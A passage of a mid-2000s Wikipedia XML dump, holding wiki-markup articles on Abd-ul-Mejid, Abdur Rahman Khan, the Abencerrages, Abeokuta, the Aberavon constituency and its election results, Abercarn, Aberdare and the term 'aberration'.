* the abolition of an odious and unfairly imposed capitation tax
* the repression of slave trading, and 
* various provisions for the better administration of the public service and for the advancement of commerce.  

Another notable reform was that the [[turban]] was officially outlawed for the first time during Abd-ul-Mejid's reign, in favour of the [[Fez (clothing)|fez]]. European fashions were also adopted in full swing by the Court. (The fez itself was to banned after the passing of the &quot;hat law&quot; in [[1925]] by the [[Grand_National_Assembly_of_Turkey|Republican National Assembly]] which had already abolished the sultanate and proclaimed republic in [[1923]]).

When [[Lajos_Kossuth|Kossuth]] and others sought refuge in [[Turkey]] after the failure of the [[Hungary|Hungarian]] rising in [[1849]], the sultan was called on by [[Austria]] and [[Russia]] to surrender them, but &quot;boldly and determinedly&quot; refused. He also would not allow the conspirators against his own life to be put to death. The [[1911 Encyclopædia Britannica|1911 ''Encyclopædia Britannica'']] says of him, &quot;He bore the character of being a kind and honourable man, if somewhat weak and easily led. Against this, however, must be set down his excessive extravagance, especially towards the end of his life.&quot; 

He passed away in [[1861]] and succeeded by his brother, [[Abd-ul-Aziz]], the oldest survivor of the family of [[Osman I|Osman]]. He left several sons, of whom two, [[Murad V]] and [[Abd-ul-Hamid II]], eventually succeeded to the throne. During his reign the reckless system of foreign loans began, carried to excess in the ensuing reign and culminating in default, which led to the alienation of European sympathy from [[Turkey]] and indirectly to the dethronement and death of Abd-ul-Aziz.

{{Wikisource1911Enc|Abd-ul-Mejid}}
{{1911}}
{{start box}}{{succession box|title=[[Ottoman Sultan]]|before=[[Mahmud II]]|after=[[Abd-ul-Aziz]]|years=1839&amp;ndash;1861}}
{{end box}}

[[Category:1823 births]]
[[Category:1861 deaths]]
[[Category:Sultans of the Ottoman Empire]]
[[Category:Knights of the Garter]]
[[Category:1848 Revolutions people]]

[[ar:عبدالمجيد الأول]]
[[bg:Абдул Меджид]]
[[de:Abdülmecid I.]]
[[eo:Abd-ul-Mejid]]
[[hr:Abdul Medžid I.]]
[[hu:I. Abdul-Medzsid]]
[[nl:Abdülmecit]]
[[ja:アブデュルメジト1世]]
[[ru:Абдул-Меджид]]
[[sv:Abd ül-Mecid I]]
[[tr:Abdülmecit]]</text>
    </revision>
  </page>
  <page>
    <title>Abdur Rahman Khan</title>
    <id>2695</id>
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      <id>38828985</id>
      <timestamp>2006-02-08T22:35:54Z</timestamp>
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      <minor />
      <comment>link</comment>
      <text xml:space="preserve">[[Image:AbdurRahmanKhan-A.JPG|thumb|Amir Abdur Rahman Khan]]
[[Image:Abdur Rahman Khan - Project Gutenberg eText 16528.jpg|thumb|Abdur Rahman Khan]]
'''Abdur Rahman Khan''' (ca. [[1844]] [[Kabul]], [[Afghanistan]] &amp;ndash; [[October 1]], [[1901]]), ''[[amir]]'' of [[Afghanistan]], was the third son of [[Afzul Khan]], who was the eldest son of [[Dost Mahommed Khan]], who had established the [[Barakzai]]'s family dynasty in Afghanistan.

==Background and early career ==

Before his death at [[Herat]], on [[June 9]] [[1863]], Dost Mahommed had nominated as his successor [[Shir Ali Khan of Afghanistan|Shir Ali]], his third son, passing over the two elder brothers, Afzul Khan and [[Azim Khan]]. At first, the new amir was quietly recognized. But after a few months Afzul Khan raised an insurrection in the northern province, between the [[Hindu Kush]] mountains and the [[Oxus River]], where he had been governing when his father died. This began a fierce contest for power between Dost Mahommed's sons, which lasted for nearly five years.

In this war, Abdur Rahman became distinguished for ability and daring energy. Although his father, Afzul Khan, who had none of these qualities, came to terms with the Amir Shir Ali, the son's behaviour in the northern province soon excited the amir's suspicion, and Abdur Rahman, when he was summoned to [[Kabul]], fled across the Oxus into [[Bokhara]]. Shir Ali threw Afzul Khan into prison, and a serious revolt followed in southern Afghanistan.   

The ''amir'' had scarcely suppressed it by winning a desperate battle when Abdur Rahman's reappearance in the north was a signal for a mutiny of the troops stationed in those parts and a gathering of armed bands to his standard. After some delay and desultory fighting, he and his uncle, Azim Khan, occupied [[Kabul]] (March [[1866]]). The ''amir'' Shir Ali marched up against them from [[Kandahar]]; but in the battle that ensued at [[Sheikhabad]] on [[May 10]], he was deserted by a large body of his troops, and after his signal defeat Abdur Rahman released his father, Afzul Khan, from prison in [[Ghazni]], and installed him upon the throne as ''amir'' of Afghanistan. 

Notwithstanding the new ''amir'' 's incapacity, and some jealousy between the real leaders, Abdur Rahman and his uncle, they again routed Shir Ali's forces, and occupied Kandahar in [[1867]]. When Afzul Khan died at the end of the year, Azim Khan became the new ruler, with Abdur Rahman as his governor in the northern province.  But towards the end of [[1868]] Shir Ali's return, and a general rising in his favour, resulted in Abdur Rahman and Azim Khan's defeat at [[Tinah Khan]] on [[January 3]] [[1869]]. Both sought refuge in [[Iran|Persia]], whence Abdur Rahman placed himself under [[Russia]]n protection at [[Samarkand]]. Azim died in Persia in October 1869.

==Period of exile==

Abdur Rahman lived in exile in [[Tashkent]], [[Uzbekistan]], for eleven years, until the [[1879]] death of Shir Ali, who had retired from Kabul when the [[United Kingdom|British]] armies entered Afghanistan. The Russian governor-general at [[Tashkent]] sent for Abdur Rahman, and pressed him to try his fortunes once more across the Oxus. In March [[1880]] a report reached India that Abdur Rahman was in northern Afghanistan; and the governor-general, [[Robert Bulwer-Lytton, 1st Earl of Lytton|Lord Lytton]], opened communications with him to the effect that the British government were prepared to withdraw their troops, and to recognize Abdur Rahman as ''amir'' of Afghanistan, with the exception of Kandahar and some districts adjacent to it. After some negotiations, an interview took place between him and [[Lepel Griffin]], the diplomatic representative at Kabul of the [[India]]n government. Griffin described Abdur Rahman as a man of middle height, with an exceedingly intelligent face and frank and courteous manners, shrewd and able in conversation on the business in hand.

==Reign==

At the ''[[durbar]]'' on [[July 22]], 1880, Abbdur Rahman was officially recognized as ''amir'', granted assistance in arms and money, and promised, in case of unprovoked foreign aggression, such further aid as might be necessary to repel it, provided that he align his foreign policy with the British. The British evacuation of Afghanistan was settled on the terms proposed, and in [[1881]] the British troops also handed over Kandahar to the new ''amir''.  

However, [[Ayub Khan (Afghan commander)|Ayub Khan]], one of Shir Ali's sons, marched upon that city from [[Herat]], defeated Abdur Rahman's troops, and occupied the place in July. This serious reverse roused the ''amir'', who had not at first displayed much activity. He led a force from Kabul, met Ayub's army close to Kandahar, and the complete victory which he there won forced Ayub Khan to fly into Persia. From that time Abdur Rahman was fairly seated on the throne at Kabul, and in the course of the next few years he consolidated his dominion over all Afghanistan, suppressing [[insurrection]]s by a sharp and relentless use of his [[despot]]ic authority. The powerful [[Ghilzai]] tribe revolted against the severity of his measures, but they were crushed by the end of [[1887]]. In that same year, Ayub Khan made a fruitless inroad from Persia. In [[1888]], the ''amir'' 's cousin, [[Ishak Khan]], rebelled against him in the north; but these two enterprises came to nothing. 

In [[1885]], at the moment when the ''amir'' was in conference with the British [[viceroy]], [[Frederick Hamilton-Temple-Blackwood, 1st Marquess of Dufferin and Ava|Lord Dufferin]], in [[India]], the news came of a skirmish between Russian and Afghan troops at [[Panjdeh]], over a disputed point in the demarcation of the northwestern frontier of Afghanistan. Abdur Rahman's attitude at this critical juncture is a good example of his political sagacity. To one who had been a man of war from his youth, who had won and lost many fights, the rout of a detachment and the forcible seizure of some debatable frontier lands was an untoward incident; but it was not a sufficient reason for calling upon the British, although they had guaranteed his territory's integrity, to vindicate his rights by hostilities which would certainly bring upon him a Russian invasion from the north, and would compel his British allies to throw an army into Afghanistan from the southeast. His interest lay in keeping powerful neighbours, whether friends or foes, outside his kingdom. He knew this to be the only policy that would be supported by the Afghan nation; and although for some time a rupture with Russia seemed imminent, while the Indian government made ready for that contingency, the ''amir'' 's reserved and circumspect tone in the consultations with him helped to turn the balance between peace and war, and substantially conduced towards a pacific solution. Abdur Rahman left on those who met him in India the impression of a clear-headed man of action, with great self-reliance and hardihood, not without indications of the implacable severity that too often marked his administration. His investment with the insignia of the highest grade of the [[Order of the Star of India]] appeared to give him much pleasure. 

From the end of 1888, the ''amir'' spent eighteen months in his northern provinces bordering upon the Oxus, where he was engaged in pacifying the country that had been disturbed by revolts, and in punishing with a heavy hand all who were known or suspected to have taken any part in rebellion. Shortly afterwards (in [[1892]]) he succeeded in finally beating down the resistance of the [[Hazara]] tribe, who vainly attempted to defend their immemorial independence, within their highlands, of the central authority at Kabul. 

In [[1893]] Sir [[Mortimer Durand]] was deputed to Kabul by the government of India for the purpose of settling an exchange of territory required by the demarcation of the boundary between northeastern Afghanistan and the Russian possessions, and in order to discuss with the ''amir'' other pending questions. The ''amir'' showed his usual ability in diplomatic argument, his tenacity where his own views or claims were in debate, with a sure underlying insight into the real situation. The territorial exchanges were amicably agreed upon; the relations between the Indian and Afghan governments, as previously arranged, were confirmed; and an understanding was reached upon the important and difficult subject of the border line of Afghanistan on the east, towards India.  In [[1895]] the ''amir'' found himself unable, by reason of ill-health, to accept an invitation from [[Victoria of the United Kingdom|Queen Victoria]] to visit England; hut his second son [[Nasrullah Khan]] went in his stead. 

Abdur Rahman died on [[October 1]], [[1901]], being succeeded by his son [[Habibullah Khan|Habibullah]]. He had defeated all enterprises by rivals against his throne; he had broken down the power of local chiefs, and tamed the refractory tribes; so that his orders were irresistible throughout the whole dominion. His government was a military despotism resting upon a well-appointed army; it was administered through officials absolutely subservient to an inflexible will and controlled by a widespread system of [[espionage]]; while the exercise of his personal authority was too often stained by acts of unnecessary cruelty. He held open courts for the receipt of petitioners and the dispensation of justice; and in the disposal of business he was indefatigable.  He succeeded in imposing an organized government upon the fiercest and most unruly population in [[Asia]]; he availed himself of [[European]] inventions for strengthening his armament, while he sternly set his face against all innovations which, like [[railway]]s and [[Telegraphy|telegraph]]s, might give Europeans a foothold within his country. His adventurous life, his forcible character, the position of his state as a barrier between the Indian and the Russian empires, and the skill with which he held the balance in dealing with them, combined to make him a prominent figure in contemporary Asian politics and will mark his reign as an epoch in the history of Afghanistan. 

The ''amir'' received an annual subsidy from the British government of 18-1/2 ''[[lakh]]s'' of ''[[rupee]]s''.  He was allowed to import munitions of war. In [[1896]] he adopted the title of ''Tia-ul-hlillat-ud Din'' (&quot;Light of the nation and religion&quot;); and his zeal for the cause of [[Islam]] induced him to publish treatises on ''[[jihad]]''. His two eldest sons, [[Habibullah Khan]] and [[Nasrullah Khan]], were born at Samarkand. His youngest son, [[Mahomed Omar Jan]], was born in [[1889]] of an Afghan mother, connected by descent with the Barakzai family.

==See also==
*[[History of Afghanistan]]
*[[European influence in Afghanistan]]
*[[The Great Game]]

{{start box}}
{{succession box | before = Emir of Kabul | title = [[Emir of Afghanistan]] | years = 1880 &amp;ndash; 1901 | after = [[Habibullah Khan]]}}
{{end box}}

{{Wikisource1911Enc|Abdur Rahman Khan}}
{{1911}}


[[Category:Afghan heads of state]]
[[Category:Emirs of Afghanistan]]
[[Category:1844 births|Abdur Rahman Khan]]
[[Category:1901 deaths|Abdur Rahman Khan]]
[[Category:Knights Grand Commander of the Star of India|Abdur Rahman Khan]]

[[de:Abdur Rahman Khan]]
[[fr:Abdur Rahman Khan]]
[[ja:アブドゥッラフマーン・ハーン]]
[[no:Abdur Rahman Khan]]
[[ru:Абдур-Рахман, эмир Афганистана]]</text>
    </revision>
  </page>
  <page>
    <title>Abencerrages</title>
    <id>2696</id>
    <revision>
      <id>35149325</id>
      <timestamp>2006-01-14T14:41:58Z</timestamp>
      <contributor>
        <ip>87.194.30.216</ip>
      </contributor>
      <comment>fixed ungrammatical sentence</comment>
      <text xml:space="preserve">'''Abencerrages''', was a family or faction that is said to have held a prominent position in the [[Moorish]] kingdom of [[Granada]] in the [[15th century]].

The name appears to have been derived from the Yussuf ben-Serragh, the head of the tribe in the time of [[Mahommed VII]], who did that sovereign good service in his struggles to retain the crown of which he was three times deprived.

Nothing is known of the family with certainty; but the name is familiar from the interesting romance of [[Gines Perez de Hita|Ginés Perez de Hita]], ''Guerras civiles de Granada'', which celebrates the feuds of the Abencerrages and the rival family of the Zegris, and the cruel treatment to which the former were subjected. J. P. de Florian's ''Gonsalve de Cordoue'' and Chàteaubriand's ''Le dernier des Abencerrages'' are imitations of Perez de Hita's work.

The story is told that one of the Abencerrages, having fallen in love with a lady of the royal family, was caught in the act of climbing up to her window. The king, enraged, shut up the whole family in one of the halls of the Alhambra, and ordered the Zergis to kill them all. The apartment where this is to have taken place is one of the most beautiful courts of the [[Alhambra]], and is still called the Hall of the Abencerrages. 

Many poems and plays, and one opera (''[[Les Abencerrages]]'', by [[Cherubini]]) mention the legend, but the whole story is doubtful, because the best historians do not mention it.

{{Wikisource1911Enc|Abencerrages}}
{{1911}}

[[de:Abencerragen]] [[fr:Abencerrajes]]</text>
    </revision>
  </page>
  <page>
    <title>Abenezra</title>
    <id>2697</id>
    <revision>
      <id>15901092</id>
      <timestamp>2002-11-04T00:21:27Z</timestamp>
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      <comment>Redirected to proper entry title.</comment>
      <text xml:space="preserve">#REDIRECT[[Abraham ibn Ezra]]</text>
    </revision>
  </page>
  <page>
    <title>Abeokuta</title>
    <id>2698</id>
    <revision>
      <id>38831543</id>
      <timestamp>2006-02-08T22:53:06Z</timestamp>
      <contributor>
        <username>Biyibandele</username>
        <id>430631</id>
      </contributor>
      <text xml:space="preserve">[[Image:Locator Map Abeokuta-Nigeria.png|thumb|250px|Location of Abeokuta in Nigeria]]
'''Abeokuta''' is a city of southwest [[Nigeria]], situated at {{coor dm|7|8|N|3|25|E|type:city}}, on the [[Ogun river]], 64 miles north of [[Lagos]] by railway, or 81 miles by water. As of 2002, the Abeokuta proper had an estimated population of about 230,000, while the figure for the city and outlying environs was approximately 500,000 individuals.

The city lies below the sacred [[Olumo]] rock, home to [[cave]]s and [[shrine]]s.  [[Fela Kuti]] and [[Wole Soyinka]] were both born in the town.

==History==

{{1911}}

A town of [[British West Africa]] in the Egba division of the Yoruba country, S. Nigeria Protectorate. [[Population]], approximately 60,000.  

Abeokuta lies in a beautiful and fertile country, the surface of which is broken by masses of grey granite.  It is spread over an extensive area, being surrounded by mud walls 18 miles in extent.  Abeokuta, under the reforming zeal of its native rulers, was largely transformed during the early years of the [[20th century]].  Law courts, government offices, prisons and a substantial bridge were built, good roads made, and a large staff of sanitary inspectors appointed.  The streets are generally narrow and the houses built of mud.  There are numerous markets in which a considerable trade is done in native products and articles of European manufacture.  Palm-oil, timber, [[rubber]], [[yam (vegetable)|yams]] and shea-butter are the chief articles of trade.  An official newspaper is published in the [[Yoruba language|Yoruba]] and [[English language]]s.  Abeokuta is the headquarters of the Yoruba branch of the Church Missionary Society and [[United Kingdom|British]] and [[United States|American]], missionaries have met with some success in their proselytizing work.  In their schools about [[2000]] children are educated.  The completion in [[1899]] of a railway from Lagos helped not only to develop trade but to strengthen generally the influence of the British. 

Abeokuta (a word meaning ''under the rocks,''), dating from [[1825]], owes its origin to the incessant inroads of the slavehunters from Dahomey and Ibadan, which compelled the village populations scattered over the open country to take refuge in this rocky stronghold against the common enemy.  Here they constituted themselves a free confederacy of many distinct groups, each preserving the traditional customs, religious rites and even the very names of their original villages.  Yet this apparently incoherent aggregate held its ground successfully against the powerful armies often sent against the place both by the king of Dahomey from the west, and by the people of Ibadan from the north-east. 

The district of Egba, of which Abeokuta is the capital, has an estimated area of 3000 sq. m. and a population of some 350,000.  It is officially known as the Abeokuta province of the [[Southern Nigeria]] protectorate.  It contains luxuriant forests of palmtrees, which constitute the chief wealth of the people.  Cotton is indigenous and is grown for export.  The Egbas are enthusiastic farmers and have largely adopted European methods of cultivation.  They are very tenacious of their independence, but accepted without opposition the establishment of a British protectorate, which, while putting a stop to inter-Yoruba warfare and slave-raiding, and exercising control over the working of the laws, left to the people executive and fiscal autonomy.  The administration is in the hands of a council of chiefs which exercises legislative, executive and, to some extent, judicial functions.  The president of this council, or ruling chief ---chosen from among the members of the two recognized reigning families--is called the Alake, a word meaning ''Lord of Ake,'' Ake being the name of the principal quarter of Abeokuta, after the ancient capital of the Egbas.  The Alake exercises little authority apart from his council, the form of government being largely democratic.  Revenue is chiefly derived from tolls or import duties.  A visit of the Alake to [[England]] in [[1904]] evoked considerable public interest.  The chief was a man of great intelligence, eager to study western civilization, and an ardent agriculturist.

==External links==
{{Wikisource1911Enc|Abeokuta}}
[http://www.nairaland.com/nigeria/topic-601.0.html Olumo Rock in Abeokuta] Pictures and discussion.

[[Category:Cities in Nigeria]]
[[Category:Nigerian state capitals]]

[[da:Abeokuta]]
[[de:Abeokuta]]
[[gl:Abeokuta]]
[[it:Abeokuta]]
[[pl:Abeokuta]]
[[pt:Abeokuta]]
[[sv:Abeokuta]]
[[yo:Abeokuta]]</text>
    </revision>
  </page>
  <page>
    <title>Aberavon (UK Parliament constituency)</title>
    <id>2699</id>
    <revision>
      <id>30636619</id>
      <timestamp>2005-12-08T21:38:51Z</timestamp>
      <contributor>
        <username>Sloman</username>
        <id>505832</id>
      </contributor>
      <minor />
      <comment>+cat</comment>
      <text xml:space="preserve">{{UK constituency infobox alt|
 | Name = Aberavon
 | Map = [[Image:AberavonParliamentaryConstituency.png|180px|]]
 | Type = County
 | Entity = Wales
 | DivisionType = [[Preserved counties of Wales|Preserved county]]
 | Division = [[West Glamorgan]]
 | Year = [[1918]]
 | MP = [[Hywel Francis]]
 | Party = [[Labour Party (UK)|Labour]]
 | EP = Wales
}}
'''Aberavon''' (''Aberafan'' in [[Welsh language|Welsh]]) is a [[United Kingdom constituencies|constituency]] of the [[United Kingdom House of Commons|House of commons]] of the [[Parliament of the United Kingdom]]. It elects one [[Member of Parliament|Member of Parliament (MP)]] by the [[first past the post]] system of election.

== Boundaries ==

The constituency is in [[south Wales]], situated on the right bank of the [[River Afan]], near its mouth in [[Swansea]] Bay. The original village of Aberavon or Aberafan is now a district of [[Port Talbot]] (so named to reflect the involvement of wealthy local landowner and MP [[Christopher Rice Mansel Talbot]] in improving Aberavon's harbour). The valley of the Afan as from about [[1840]] a place of much metallurgical activity, resulting in tinplate and engineering works (now mostly closed down).  

The town derives its name from the river Avon (corrupted from Afan), which also gave its name to a mediæval lordship.  On the Norman conquest of [[Glamorgan]], Caradoc, the eldest son of the defeated prince, [[Iestyn ab Gwrgant]], continued to hold this lordship, and for the defence of the passage of the river built a castle whose foundations now lie underneath the streets around St Mary's church.  His descendants (who from the 13th century onwards styled themselves De Avan or D'Avene) established, under line protection of the castle, a chartered town, which in [[1372]] received a further charter from Edward Le Despenser, into whose family the lordship had come on an exchange of lands.  In modern times these charters were not acted upon, the town being deemed a borough by prescription, but in [[1861]] it was incorporated under the Municipal Corporations Act. From [[1832]] it belonged to the Swansea parliamentary district of boroughs, uniting with [[Kenfig]], [[Loughor]], [[Neath]] and Swansea to return one member; later it acquired its own MP, the most famous to hold the constituency having been [[Ramsay MacDonald]].

Aberavon village hosted the [[National Eisteddfod]] in [[1932]] and [[1966]].

== Member of Parliament ==
* [[1918]] &amp;ndash; [[1922]]: John Edwards
* [[1922]] &amp;ndash; [[1929]]: [[Ramsay Macdonald]], [[Labour Party (UK)|Labour]]
* [[1929]] &amp;ndash; [[1959]]: [[William George Cove]], [[Labour Party (UK)|Labour]]
* [[1959]] &amp;ndash; [[2001]]: [[John Morris]], [[Labour Party (UK)|Labour]]
* [[2001]] &amp;ndash; ''present'': [[Hywel Francis]], [[Labour Party (UK)|Labour]]

== Election results ==

{{Template:Election box begin |
  |title=[[United Kingdom general election, 2005|General Election 2005]]: Aberavon
}}
{{Template:Election box candidate with party link|
  |party      = Labour Party (UK)
  |candidate  = [[Hywel Francis]]
  |votes      = 18,077
  |percentage = 60.0
  |change     = -3.1
}}
{{Template:Election box candidate with party link|
  |party      = Liberal Democrats (UK)
  |candidate  = Claire Waller
  |votes      = 4,140
  |percentage = 13.8
  |change     = +4.0
}}
{{Template:Election box candidate with party link|
  |party      = Plaid Cymru
  |candidate  = Philip Evans
  |votes      = 3,545
  |percentage = 11.8
  |change     = +2.1
}}
{{Template:Election box candidate with party link|
  |party      = Conservative Party (UK)
  |candidate  = Annunziata Rees-Mogg
  |votes      = 3,064
  |percentage = 10.2
  |change     = +2.6
}}
{{Template:Election box candidate with party link|
  |party      = Veritas (political party)
  |candidate  = Jim Wright
  |votes      = 768
  |percentage = 2.6
  |change     = +2.6
}}
{{Template:Election box candidate with party link|
  |party      = Green Party of England and Wales
  |candidate  = Miranda La Vey
  |votes      = 510
  |percentage = 1.7
  |change     = +1.7
}}
{{Template:Election box majority|
  |votes      = 13,937
  |percentage = 46.3
  |change     = -7.1
}}
{{Template:Election box turnout|
  |votes      = 30,104
  |percentage = 58.9
  |change     = -1.9
}}
{{Template:Election box hold with party link|
  |winner     = Labour Party (UK)
  |swing      = -3.6
}}
{{Template:Election box end}}

{{Template:Election box begin | title=[[UK general election, 2001|General Election 2001]]: Aberavon}}
 {{Template:Election box candidate with party link|
   |party      = Labour Party (UK)
   |candidate  = [[Hywel Francis]]
   |votes      = 19,063
   |percentage = 63.1
   |change     = -8.2
 }}
 {{Template:Election box candidate with party link|
   |party      = Plaid Cymru
   |candidate  = Lisa Turnbull
   |votes      = 2,955
   |percentage = 9.8
   |change     = +4.0
 }}
 {{Template:Election box candidate with party link|
   |party      = Liberal Democrats (UK)
   |candidate  = [[Chris Davies]]
   |votes      = 2,933
   |percentage = 9.7
   |change     = -1.6
 }}
 {{Template:Election box candidate with party link|
   |party      = Conservative Party (UK)
   |candidate  = Ali Miraj
   |votes      = 2,296
   |percentage = 7.6
   |change     = -0.3
 }}
 {{Template:Election box candidate|
   |party      = Independent
   |candidate  = Andrew Tutton
   |votes      = 1,960
   |percentage = 6.5
   |change     = ''N/A''
 }}
 {{Template:Election box candidate|
   |party      = Millennium Bean
   |candidate  = Captain Beany
   |votes      = 727
   |percentage = 2.4
   |change     = +1.4
 }}
 {{Template:Election box candidate|
   |party      = [[Welsh Socialist Alliance]]
   |candidate  = Martin Chapman
   |votes      = 256
   |percentage = 0.8
   |change     = ''N/A''
 }}
 {{Template:Election box majority|
   |votes      = 16,108
   |percentage = 53.3
   |change     = 
 }}
 {{Template:Election box turnout|
   |votes      = 30,190
   |percentage = 61.0
   |change     = -10.9
 }}
{{Template:Election box hold with party link|
  |winner     = Labour Party (UK)
}}
 {{Template:Election box end}}

{{Template:Election box begin | title=[[UK general election, 1997|General Election 1997]]: Aberavon}}
 {{Template:Election box candidate with party link|
   |party      = Labour Party (UK)
   |candidate  = [[John Morris]]
   |votes      = 25,650
   |percentage = 71.3
   |change     = 
 }}
 {{Template:Election box candidate with party link|
   |party      = Liberal Democrats (UK)
   |candidate  = Ronald McConville
   |votes      = 4,079
   |percentage = 11.3
   |change     = 
 }}
 {{Template:Election box candidate with party link|
   |party      = Conservative Party (UK)
   |candidate  = Peter Harper
   |votes      = 2,835
   |percentage = 7.9
   |change     = 
 }}
 {{Template:Election box candidate with party link|
   |party      = Plaid Cymru
   |candidate  = Philip Cockwell
   |votes      = 2,088
   |percentage = 5.8
   |change     = 
 }}
 {{Template:Election box candidate|
   |party      = [[Referendum Party]]
   |candidate  = Peter David
   |votes      = 970
   |percentage = 2.7
   |change     = 
 }}
 {{Template:Election box candidate|
   |party      = Independent
   |candidate  = Captain Beany
   |votes      = 341
   |percentage = 1.0
   |change     = 
 }}
 {{Template:Election box majority|
   |votes      = 22571
   |percentage = 62.8
   |change     = 
 }}
 {{Template:Election box turnout|
   |votes      = 35963
   |percentage = 71.9
   |change     = 
 }}
 {{Template:Election box end}}

{{Wikisource1911Enc|Aberavon}}

== See also ==
* [[List of Parliamentary constituencies in West Glamorgan]]


{{Constituencies in Wales}}
[[Category:Parliamentary constituencies in Wales]]
[[Category:Neath Port Talbot]]
[[Category:Glamorgan]]
[[cy:Aberafan]]</text>
    </revision>
  </page>
  <page>
    <title>Abercarn</title>
    <id>2700</id>
    <revision>
      <id>32989365</id>
      <timestamp>2005-12-28T12:11:26Z</timestamp>
      <contributor>
        <username>Owain</username>
        <id>26576</id>
      </contributor>
      <text xml:space="preserve">{{1911}}
{{infobox Wales place|
   |Place=             Abercarn
   |Council=           [[Caerphilly (county borough)|Caerphilly]]
   |Traditional=       [[Monmouthshire]]
   |Ceremonial=        [[Gwent]]
   |Constituency=      [[Islwyn (UK Parliament constituency)|Islwyn]]
   |PostalTown=        NEWPORT
   |PostCode=          NP11
   |DiallingCode=      +44-1633
   |GridReference=     ST216947
   |Population=        10,007&lt;br /&gt;(with [[Newbridge, Wales|Newbridge]])
   |Police=            [[Gwent Police]]
}}
'''Abercarn''' is a town in [[south Wales]], 10 miles north-west of [[Newport, Monmouthshire|Newport]] by the [[Great Western Railway]], at {{gbmapping|ST216947}}.

The district is traditionally associated with collieries, ironworks and tinplate works, although all have now closed; the town, which lies in the middle portion of the [[Ebbw River|Ebbw]] valley, being situated on the south-eastern flank of the once great mining region of [[Glamorgan]] and [[Monmouthshire]].


{{Wikisource1911Enc|Abercarn}}
{{Wales-geo-stub}}
[[Category:Traditional county of Monmouthshire]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdare</title>
    <id>2701</id>
    <revision>
      <id>40655700</id>
      <timestamp>2006-02-22T02:32:46Z</timestamp>
      <contributor>
        <ip>70.231.172.85</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">:''This article is about the Welsh town. [[Aberdare, New South Wales]] is also a coal mining town.''
{{infobox Wales place|
   |Place=             Aberdare
   |Council=           [[Rhondda Cynon Taff]]
   |Traditional=       [[Glamorganshire]]
   |Ceremonial=        [[Mid Glamorgan]]
   |Constituency=      [[Cynon Valley (UK Parliament constituency)|Cynon Valley]]
   |PostalTown=        ABERDARE
   |PostCode=          CF44
   |DiallingCode=      01685
   |GridReference=     SO005025
   |Population=
   |Police=            [[South Wales Police]]
}}           
'''Aberdare''' ([[Welsh language|Welsh]]: ''Aberdâr'') is an industrial town in the county borough of [[Rhondda Cynon Taff]] in the [[traditional county]] of [[Glamorgan]], in south [[Wales]], situated (as the name implies) at the confluence of the Dar and Cynon rivers.  The population at the ([[1991]]) census was 31,619.  It is 4 miles S.W. of [[Merthyr Tydfil]] and 24 from [[Cardiff]]. From being, at the beginning of the [[19th century]], a mere village in an agricultural district, the place grew rapidly in population owing to the abundance of its coal and iron ore, and the population of the whole parish (which was only 1486 in [[1801]]) increased tenfold during the first half of the century.  It has since declined, owing to the loss of most of the heavy industry.

Ironworks were established at Llwydcoed and Abernant in [[1799]] and [[1800]] respectively, followed by others at Gadlys and Aberaman in [[1827]] and [[1847]].  These have not been worked since about [[1875]]. Prior to [[1836]], most of the coal worked in the parish was consumed locally, chiefly in the ironworks, but in that year the working of steam coal for export was begun, pits were sunk in rapid succession, and the coal trade, which after [[1875]] was the chief support of the town, soon reached huge dimensions.  There were also several brickworks and breweries.  During the latter half Of the [[19th century]], considerable public improvements were made to the town, which became, despite its neighbouring collieries, a pleasant place to live.  Its institutions included a post-graduate theological college (opened in connection with the Church of [[England]] in [[1892]], until [[1907]], when it was removed to [[Llandaff]]).

Aberdare, with the ecclesiastical parishes of St Fagan's (Trecynon) and Aberaman carved out of the ancient parish, had twelve Anglican churches, one [[Roman Catholic Church|Roman Catholic]] church (built in [[1866]] in Monk Street near the site of a cell attached to [[Penrhys Abbey]]) and at one time had over fifty Nonconformist chapels.  The services in the majority of the chapels were in Welsh.  The urban district includes what were once the separate villages of [[Aberaman]], [[Abernant, Aberdare|Abernant]], [[Cwmaman]], [[Cwmbach]], [[Cwmdare]], [[Llwydcoed]], [[Penywaun]] and [[Trecynon]].  There are several [[cairn]]s and the remains of a circular [[Great Britain|British]] encampment on the mountain between Aberdare and Merthyr.  [[Hirwaun]] moor, 4 miles to the N.W. of Aberdare, was according to tradition the scene of a battle at which Rhys ap Tewdwr, prince of [[Dyfed]], was defeated by the ailied forces of the Norman [[Robert Fitzhamon]] and [[Iestyn ab Gwrgan]], the last prince of Glamorgan.

The Coliseum is Aberdare's main [[arts]] venue, containing a 600-seat [[auditorium]] and [[movie theater|cinema]]. It was built in [[1938]] using [[miner]]s' subscriptions.

The town is served by [[Aberdare railway station]], the terminus of the [[Merthyr Line|Merthyr Line - Aberdare branch]].

==Trivia==

* Aberdare was the birthplace of the [[World War II|Second World War]] poet [[Alun Lewis]], and a plaque commemorating him is to be found, including a quotation from his poem, ''The Mountain over Aberdare''.

* Aberdare is the home of the rock band [[Stereophonics]], who come from Cwmaman.

* Aberdare hosted the [[National Eisteddfod]] in its first year, [[1861]], and again in [[1885]].

* Aberdare is [[town twinning|twinned]] with [[Slagelse]], [[Denmark]].

*famed [[anarchist-punk]] band [[crass]] played their last live show for striking miners in Aberdare.

==See also==
*[[Aberdare Boys Grammar School]]

==External links==
*[http://www.bbc.co.uk/wales/southeast/sites/aberdare/ Aberdare on bbc.co.uk]

{{Wikisource1911Enc|Aberdare}}
{{1911}}
[[Category:Towns in Rhondda Cynon Taff]]



[[cy:Aberdâr]]
[[da:Aberdare]]
[[de:Aberdare]]
[[gl:Aberdare - Aberdâr]]
[[nl:Aberdare]]
[[no:Aberdare]]
[[pl:Aberdare]]
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[[sv:Aberdare]]</text>
    </revision>
  </page>
  <page>
    <title>Aberration</title>
    <id>2702</id>
    <revision>
      <id>32737204</id>
      <timestamp>2005-12-26T04:36:13Z</timestamp>
      <contributor>
        <username>Dreg743</username>
        <id>541883</id>
      </contributor>
      <minor />
      <comment>NPOV</comment>
      <text xml:space="preserve">{{wiktionary|aberration}}
'''Aberration ''' ([[Latin]] ''ab,'' from or away + ''errare,'' to wander), a deviation or wandering, especially used in the figurative sense  as:
# In [[ethics]], a deviation from the truth, however this does not carry a negative connotation. 
# In [[pathology]], a mental derangement. 
# In [[zoology]] and [[botany]], atypical development or structure. 
# In [[optics]], the word has two special applications: 
::4.1 [[Aberration of light]], also referred to as ''astronomical aberration'' or ''stellar aberration''.
::4.2 [[Aberration in optical systems]], see also the article on [[Lens (optics)|lenses]].

{{disambig}}

[[ca:Aberració (desambiguació)]]
[[da:Aberration]]
[[de:Aberration]]
[[es:Aberración]]
